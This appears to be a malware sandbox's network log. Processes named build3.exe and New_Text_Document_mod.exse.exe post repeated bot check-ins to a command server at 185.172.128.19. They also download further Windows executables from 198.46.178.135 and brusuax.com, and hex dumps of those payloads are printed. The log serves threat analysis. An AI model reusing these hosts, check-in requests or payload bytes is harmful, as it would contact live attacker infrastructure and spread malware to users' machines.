Dec 20, 2023 15:35:05.051758051 CET	1286	IN	Data Raw: 73 2e 00 00 0a 6f 38 00 00 0a 00 02 7b 35 00 00 04 1c 6f 39 00 00 0a 00 02 7b 35 00 00 04 72 b9 08 00 70 6f 3a 00 00 0a 00 02 7b 36 00 00 04 20 eb 00 00 00 20 57 01 00 00 73 35 00 00 0a 6f 36 00 00 0a 00 02 7b 36 00 00 04 18 73 7c 00 00 0a 6f 58 Data Ascii: s.o8{5o9{5rpo:{6 Ws5o6{6s\|oX{6rpo7{6]s.o8{6o9{6rpo:{6o\{6*s1o]{7 Vs5o6{7s\|oX{7r
Dec 20, 2023 15:35:05.051862001 CET	1286	IN	Data Raw: 30 07 00 50 01 00 00 08 00 00 11 00 73 1f 00 00 06 0a 06 6f 22 00 00 0a 17 fe 01 16 fe 01 0d 09 2c 06 00 38 32 01 00 00 06 6f 20 00 00 06 28 89 00 00 0a 2d 27 06 6f 22 00 00 06 28 89 00 00 0a 2d 1a 06 6f 26 00 00 06 28 89 00 00 0a 2d 0d 06 6f 24 Data Ascii: 0Pso",82o (-'o"(-o&(-o$(+,rp(v&8o&(,"2" A+,rQprp(&8o (.,}{Ho%rp{Hoo
Dec 20, 2023 15:35:05.051934958 CET	1286	IN	Data Raw: 14 72 58 e1 03 70 17 8d 10 00 00 01 25 16 07 28 36 00 00 06 a2 14 14 28 9f 00 00 0a 74 31 00 00 01 0c 08 72 62 e1 03 70 6f a0 00 00 0a 0d 7e 3d 00 00 04 17 8d 70 00 00 01 25 16 1f 5f 9d 6f a1 00 00 0a 13 04 16 13 05 11 05 16 fe 01 13 13 11 13 2c Data Ascii: rXp%(6(t1rbpo~=p%_o,+%,+,+%,+ , + ,X+,+%,+
Dec 20, 2023 15:35:05.052032948 CET	1286	IN	Data Raw: 00 02 7b 48 00 00 04 18 6f 5e 00 00 0a 00 02 7b 48 00 00 04 6f 5f 00 00 0a 1b 8d 5e 00 00 01 25 16 02 7b 49 00 00 04 a2 25 17 02 7b 4a 00 00 04 a2 25 18 02 7b 4b 00 00 04 a2 25 19 02 7b 4c 00 00 04 a2 25 1a 02 7b 4d 00 00 04 a2 6f 60 00 00 0a 00 Data Ascii: {Ho^{Ho_^%{I%{J%{K%{L%{Mo`{Ho{HAs5o6{Hs\|oX{Hr6po7{Ho{HRoa{Hob!oc{H s.o8{Ho9{Ir
Dec 20, 2023 15:35:05.052273989 CET	1286	IN	Data Raw: 01 00 00 04 73 18 00 00 0a 0a 73 1e 00 00 0a 0b 06 07 6f 1f 00 00 0a 26 04 07 6f b8 00 00 0a 00 04 05 6f b9 00 00 0a 00 2a 13 30 02 00 99 01 00 00 03 00 00 11 00 28 01 00 00 06 00 72 16 e5 03 70 0a 02 06 28 03 00 00 06 7d 52 00 00 04 02 7b 58 00 Data Ascii: sso&oo*0(rp(}R{X{Ro{Xo_orpoe{Xo_or)poe{Xo_orEpoe{Xo_or[poe{Xo_orqpoe{Xo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:04.945993900 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:05.238325119 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:05.239778042 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:05.532291889 CET	324	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 36 0d 0a 3c 63 3e 31 30 30 30 30 38 33 30 30 31 2b 2b 2b 61 36 64 33 39 31 37 62 38 35 30 65 38 61 35 65 34 38 32 64 61 38 64 63 64 32 63 35 61 30 62 33 65 62 32 30 34 62 32 35 36 31 39 66 36 31 30 30 37 63 39 62 38 39 39 62 37 36 35 33 64 39 62 34 32 31 32 66 63 37 64 33 66 64 66 63 34 65 61 30 35 63 36 37 66 63 34 62 39 61 33 33 35 31 34 66 63 39 66 64 34 33 61 62 39 31 61 61 61 62 62 65 38 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 86<c>1000083001+++a6d3917b850e8a5e482da8dcd2c5a0b3eb204b25619f61007c9b899b7653d9b4212fc7d3fdfc4ea05c67fc4b9a33514fc9fd43ab91aaabbe89#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49748	198.46.178.135	80	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:07.059859991 CET	80	OUT	GET /2545/wlanext.exe HTTP/1.1 Host: 198.46.178.135 Connection: Keep-Alive
Dec 20, 2023 15:35:07.236192942 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:35:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Mon, 18 Dec 2023 16:41:12 GMT ETag: "d8e40-60ccb6afaee88" Accept-Ranges: bytes Content-Length: 888384 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad b1 28 81 e9 d0 46 d2 e9 d0 46 d2 e9 d0 46 d2 2a df 19 d2 eb d0 46 d2 e9 d0 47 d2 76 d0 46 d2 2a df 1b d2 e6 d0 46 d2 bd f3 76 d2 e3 d0 46 d2 2e d6 40 d2 e8 d0 46 d2 52 69 63 68 e9 d0 46 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 35 ca 4d 58 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 00 00 00 d0 01 00 00 04 00 00 bf 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 04 00 00 56 7c 0e 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 74 00 00 a0 00 00 00 00 50 03 00 00 46 00 00 00 00 00 00 00 00 00 00 08 6c 0d 00 38 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 59 5e 00 00 00 10 00 00 00 60 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 46 12 00 00 00 70 00 00 00 14 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a8 01 00 00 90 00 00 00 04 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 01 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 00 46 00 00 00 50 03 00 00 46 00 00 00 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$(FFFFGvFFvF.@FRichFPEL5MX`2p@V\|@(tPFl8"p.textY^` `.rdataFpd@@.datax@.ndata@.rsrcFPF\|@@
Dec 20, 2023 15:35:07.236217976 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c Data Ascii: U\}t+}FEuH(7BHPuuur@BSV507BEWPur@eEEPur@}e\p@FRVVU+MM3FQNUMVTU
Dec 20, 2023 15:35:07.236310005 CET	1286	IN	Data Raw: ff ff e9 9f 14 00 00 53 50 e8 3f 3c 00 00 e9 88 14 00 00 53 e8 d0 15 00 00 83 f8 01 59 89 55 c8 7f 03 33 c0 40 50 ff 15 74 70 40 00 e9 6a 14 00 00 ff 75 f8 ff 15 4c 72 40 00 e9 5c 14 00 00 c1 e0 02 39 5d e0 75 26 8b 88 a0 37 42 00 6a 01 89 88 e0 Data Ascii: SP?<SYU3@Ptp@juLr@\9]u&7Bj7BYUM7B.7B7BE47B3;#MD47BV.B5xr@;tRQE/B;PQj*uPp@
Dec 20, 2023 15:35:07.236393929 CET	1286	IN	Data Raw: 56 e8 3e 45 00 00 01 45 08 79 03 89 5d 08 8b 45 08 3d 00 04 00 00 0f 8d 79 0f 00 00 88 1c 30 e9 71 0f 00 00 6a 20 e8 da 10 00 00 6a 31 8b f0 e8 d1 10 00 00 39 5d e8 50 56 75 12 ff 15 0c 71 40 00 85 c0 75 78 8b 45 e0 e9 53 0f 00 00 ff 15 14 71 40 Data Ascii: V>EEy]E=y0qj j19]PVuq@uxESq@3GWhVPEq@t9]tVuq@u}SHjU<9]YYUu;\|~;sEzEjjU}YUYE
Dec 20, 2023 15:35:07.236475945 CET	1286	IN	Data Raw: 84 55 08 00 00 39 5d e0 74 46 8b 35 5c 71 40 00 eb 07 6a 0f e8 e4 43 00 00 6a 64 ff 75 08 ff d6 3d 02 01 00 00 74 eb 8d 45 f4 50 ff 75 08 ff 15 58 71 40 00 39 5d dc 7c 0b ff 75 f4 57 e8 44 3f 00 00 eb 0c 39 5d f4 74 07 c7 45 fc 01 00 00 00 ff 75 Data Ascii: U9]tF5\q@jCjdu=tEPuXq@9]\|uWD?9]tEup@1jPB;EtsW?sjjMEQPjC;EEPj@`q@;EjBjEBuEuSuU
Dec 20, 2023 15:35:07.236548901 CET	1286	IN	Data Raw: ea 07 00 00 8b 75 e8 8b f8 8b 45 ec 6a 02 89 45 c8 e8 e3 06 00 00 6a 11 89 45 ac e8 d9 06 00 00 8d 4d 08 53 51 8b 0d d0 37 42 00 83 c9 02 53 51 53 53 53 50 57 c7 45 fc 01 00 00 00 ff 15 24 70 40 00 85 c0 0f 85 3f 05 00 00 83 fe 01 bf 00 9c 40 00 Data Ascii: uEjEjEMSQ7BSQSSSPWE$p@?@uj#W:@ujiY@VUXuhWSuPWuSuu(p@u]uhKj38;MEQMVQSPW,p@3Au.}t9M
Dec 20, 2023 15:35:07.236627102 CET	1286	IN	Data Raw: 59 89 55 c8 0f 83 44 fe ff ff 39 5d e4 74 23 39 5d e0 74 0f 50 e8 a4 e9 ff ff 53 53 e8 f3 e8 ff ff eb 60 53 e8 de e9 ff ff 50 57 e8 4a 35 00 00 eb 51 39 5d e0 74 12 8b 15 30 37 42 00 8b 4d dc 89 8c 82 94 00 00 00 eb 3a 8b 0d 30 37 42 00 ff b4 81 Data Ascii: YUD9]t#9]tPSS`SPWJ5Q9]t07BM:07BW5%0BS#Qjur@9]tSSuq@E7B3_^[i)@@@@@@@o@@@Y@@A@b@j@@@F@Y@@@2@G@Y
Dec 20, 2023 15:35:07.236670017 CET	1286	IN	Data Raw: 1b c0 25 00 7e 00 00 05 00 02 00 00 3b f0 7c 02 8b f8 57 68 f0 68 41 00 e8 63 04 00 00 85 c0 0f 84 57 01 00 00 39 1d 34 37 42 00 75 7e 6a 1c 8d 45 dc 68 f0 68 41 00 50 e8 07 2d 00 00 8b 45 dc a9 f0 ff ff ff 75 71 81 7d e0 ef be ad de 75 68 81 7d Data Ascii: %~;\|WhhAcW947Bu~jEhhAP-Euq}uh}Instu_}softuV}NulluMEEhA7BE;47B/EuEuDEp;vEuSY;5hA}WhhAuV4E=hA+;j947BY
Dec 20, 2023 15:35:07.236742020 CET	1286	IN	Data Raw: 71 40 00 ff 15 ac 70 40 00 66 3d 06 00 74 11 53 e8 94 2f 00 00 3b c3 74 07 68 00 0c 00 00 ff d0 be 98 72 40 00 56 e8 10 2f 00 00 56 ff 15 a8 70 40 00 8d 74 06 01 38 1e 75 eb 55 6a 09 e8 67 2f 00 00 6a 07 e8 60 2f 00 00 a3 24 37 42 00 ff 15 44 70 Data Ascii: q@p@f=tS/;thr@V/Vp@t8uUjg/j`/$7BDp@Sr@7BSD$8h`PShAtq@h@h /B+p@BPUx+STq@=B" 7BuD$"Bt$P%P0r@D$ u@8 t8"D$ u@D$"8/
Dec 20, 2023 15:35:07.236793995 CET	1286	IN	Data Raw: ff ff ff 85 f6 74 1a 57 8b fe 8b 36 ff 77 08 ff 15 44 71 40 00 57 ff 15 24 71 40 00 85 f6 75 e8 5f 83 25 f4 ec 41 00 00 5e c3 a1 f4 ec 41 00 eb 0b 8b 48 08 3b 4c 24 04 74 0a 8b 00 85 c0 75 f1 40 c2 04 00 33 c0 eb f9 56 8b 74 24 08 56 e8 d7 ff ff Data Ascii: tW6wDq@W$q@u_%A^AH;L$tu@3Vt$Vu@,jj@`q@tL$pHAA3^SUV507BWj*3;tPhB%T0ASWSh<s@hB0BxB%80AuSWhZs@hs
Dec 20, 2023 15:35:07.407088041 CET	1286	IN	Data Raw: eb 1d 6a 02 5f 3b f7 75 34 39 2d ac 37 42 00 74 15 57 e8 01 d7 ff ff 89 3d 00 f1 41 00 6a 78 e8 9e 03 00 00 eb 30 6a 03 e8 eb d6 ff ff 85 c0 75 25 c7 05 00 f1 41 00 01 00 00 00 eb e0 ff 74 24 30 ff 74 24 30 68 11 01 00 00 ff 35 f8 2e 42 00 ff 15 Data Ascii: j_;u49-7BtW=Ajx0ju%At$0t$0h5.Br@t$0t$0SOD$,\|$$;AuM5Dr@jW=(7BjW,AjjWAE5/BjWq@j^.B3@A@35@7B;\|>u1Uvt$jU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49752	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:09.942090988 CET	184	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000083001&unit=246122658369
Dec 20, 2023 15:35:10.241458893 CET	192	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 0d 0a 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 3<c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49753	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:10.669886112 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:10.992142916 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:11.064028025 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:11.366727114 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49754	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:13.622417927 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:13.920696020 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:13.928030968 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:14.252110004 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49756	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:14.726607084 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:15.022001982 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:15.037750959 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:15.335366011 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49757	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:15.810292006 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:16.112927914 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:16.113744020 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:16.418806076 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49758	210.182.29.70	80	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:16.036474943 CET	74	OUT	GET /dl/buildz.exe HTTP/1.1 Host: brusuax.com Connection: Keep-Alive
Dec 20, 2023 15:35:17.214818954 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:16 GMT Content-Type: application/octet-stream Content-Length: 769536 Last-Modified: Wed, 20 Dec 2023 14:30:02 GMT Connection: close ETag: "6582fa6a-bbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 f0 cd ba 62 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 f0 09 00 00 02 44 00 00 00 00 00 a5 3e 00 00 00 10 00 00 00 00 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 4d 00 00 04 00 00 30 9e 0c 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 2b 0a 00 78 00 00 00 00 50 4c 00 40 7b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 01 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 1e 0a 00 40 00 00 00 00 00 00 00 